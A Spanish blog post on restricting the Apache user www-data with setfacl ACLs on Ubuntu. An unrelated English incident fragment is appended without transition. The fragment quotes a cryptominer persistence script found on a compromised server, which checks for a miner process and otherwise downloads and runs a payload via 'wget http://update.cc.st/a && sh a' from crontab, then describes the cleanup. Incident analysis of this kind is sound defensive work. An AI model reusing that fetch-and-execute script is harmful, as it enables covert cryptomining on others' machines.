Permisos del usuario apache(www-data) en linux(ubuntu) - Seguridad web
En algunas ocasiones debemos tener pensar en la posibilidad de que nuestro sistema no sea completamente seguro, y suponer qué podría suceder si algún usuario explota un payload (vulnerabilidad). Uno de los problemas que podríamos llegar a tener es que este usuario vea ciertos archivos con información delicada.
Entonces creo que la mejor solución para este problema no es cambiar los permisos específicos de una carpeta o fichero, lo cual afectará a todos los usuarios, sino utilizar una técnica mediante la cual podemos modificar los permisos un un directorio o archivo para un usuario específico.
Para esto será necesario tener instalado y habilitado ACL. Acá les dejo un enlace mediante el cual podrán cumplir con este requerimiento.
Recomiendo particularmente que se cambien los permisos para www-data de los directorios personales (/home/nombre_usuario) y principalmente del directorio /etc en el cual están alojados ciertos archivos como /etc/passwd el cual tiene información delicada. Para esto vamos a usar el siguiente comando:
setfacl -m u:www-data:0 /etc
Explicaremos su sintaxis:
setfacl -m u:usuario:permiso [archivo|directorio]
El parámetro -m simboliza que para el directorio elegido, serán modificados los permisos para tal usuario.
Despues de u: escribiremos el usuario para el cual serán modificados los permisos, en nuestro caso www-data
Despues de u:usuario: vamos a poner los permisos que queremos que sean asignados al directorio elegido para el usuario escrito anteriormente. Recordar que los permisos admitidos son:
w: write (escribir, modificar).
r: read (leer, ver).
x: execute (ejecutar).
0: ningún permiso.
Listo, hecho esto estaremos seguros que algúna vulnerabilidad de nuestro sistema no sea causa de que nuestra información sea robada. Espero haber sido de ayuda.
# cat /tmp/update
#!/bin/sh
plm=`ps x|grep mine.cc.st:3333|grep -v grep|awk '{print $7}'`
if [ "$plm" != "" ]
then echo "MERGE!!!"
else
nohup wget http://update.cc.st/a && sh a >> /dev/null &
fi
Put in crontab, this script checks if the miner is working, otherwise it downloads and executes it again: http://pastebin.com/4PVDpkCe
Using an apache vulnerability means that the result code will be executed by www-data, without a real console access and with limited privileges over file system.
What I did, so far, is to stop the mining process, add update.cc.st to /etc/hosts poiting to localhost, disable /cgi-bin/php from the default domain and clean the file system. Now I will wait for my friend to decide if she wants to procede with an update or, better, a complete reinstall..